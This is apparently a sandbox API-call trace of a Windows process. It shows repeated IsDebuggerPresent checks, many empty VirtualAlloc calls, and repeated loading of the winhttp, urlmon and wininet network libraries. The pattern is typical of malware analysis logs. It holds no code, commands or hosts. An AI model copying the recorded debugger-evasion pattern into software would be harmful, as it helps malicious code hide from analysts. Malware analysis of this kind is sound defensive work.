[0057.448] IsDebuggerPresent () returned 0
[0057.448] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.448] IsDebuggerPresent () returned 0
[0057.448] IsDebuggerPresent () returned 0
[0057.448] IsDebuggerPresent () returned 0
[0057.449] IsDebuggerPresent () returned 0
[0057.449] IsDebuggerPresent () returned 0
[0057.449] IsDebuggerPresent () returned 0
[0057.449] IsDebuggerPresent () returned 0
[0057.449] IsDebuggerPresent () returned 0
[0057.449] IsDebuggerPresent () returned 0
[0057.449] IsDebuggerPresent () returned 0
[0057.449] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.449] IsDebuggerPresent () returned 0
[0057.449] IsDebuggerPresent () returned 0
[0057.449] IsDebuggerPresent () returned 0
[0057.449] IsDebuggerPresent () returned 0
[0057.449] IsDebuggerPresent () returned 0
[0057.449] IsDebuggerPresent () returned 0
[0057.449] IsDebuggerPresent () returned 0
[0057.449] IsDebuggerPresent () returned 0
[0057.449] IsDebuggerPresent () returned 0
[0057.449] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.450] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.450] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.450] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.450] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.450] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.450] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.450] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.450] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.450] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.450] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.450] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.450] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.451] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.452] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.452] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.452] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.452] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.452] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.453] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.453] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.453] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.453] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.453] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.453] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.453] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.453] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.453] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.453] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.453] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.453] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.453] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.453] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.453] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.453] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.453] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.453] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.453] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.453] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.453] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.453] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.453] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.454] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.454] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.454] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.454] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.454] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.454] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.454] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.454] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.454] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.454] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.454] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.454] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.454] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.454] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.454] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.454] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.454] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.454] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.454] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.454] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.454] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.455] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.455] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.455] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.455] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.455] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.455] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.455] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.455] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.455] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.455] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.455] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.455] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.455] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.455] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.455] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.455] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.456] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.456] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.456] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.456] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.456] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.456] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.456] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.456] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.456] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.456] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.456] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.456] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.456] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.456] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.456] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.457] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.457] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.457] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.457] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.457] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.457] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.457] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.457] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.457] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.457] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.457] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.457] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.457] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.457] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.457] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.457] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.457] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.458] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.458] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.458] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.458] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.458] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.458] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.458] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.458] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.458] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.458] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.458] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.458] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.458] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.458] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.458] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.458] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.458] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.458] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.458] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.458] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.458] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.458] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.459] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.459] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.459] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.459] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.459] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.459] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.459] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.459] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.459] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.459] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.459] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.459] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.459] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.459] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.459] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.459] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.459] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.459] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.460] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.460] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.460] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.460] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.460] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.460] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.460] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.460] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.460] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.460] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.460] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.460] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.460] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.460] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.460] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.460] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.460] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.460] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.460] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.461] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.461] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.461] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.461] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.461] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.461] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.461] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.461] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.461] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.461] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.461] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.461] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.461] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.461] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.461] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.461] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.461] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.461] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.461] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.461] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.462] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.462] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.462] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.462] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.462] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.462] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.462] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.462] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.462] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.462] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.462] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.462] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.462] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.462] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.462] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.462] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.462] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.462] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.462] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.462] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.462] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.463] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.463] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.463] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.463] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.463] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.463] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.463] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.463] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.463] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.463] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.463] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.463] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.463] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.627] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x6f600000
[0057.633] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x75ce0000
[0057.642] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x771e0000
[0057.642] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x6f600000
[0057.642] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x75ce0000
[0057.642] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x771e0000
[0057.642] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x6f600000
[0057.642] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x75ce0000
[0057.642] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x771e0000
[0057.797] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x6f600000
[0057.797] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x75ce0000
[0057.797] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x771e0000
[0057.797] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x6f600000
[0057.797] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x75ce0000
[0057.797] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x771e0000
[0057.797] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x6f600000
[0057.797] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x75ce0000
[0057.797] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x771e0000
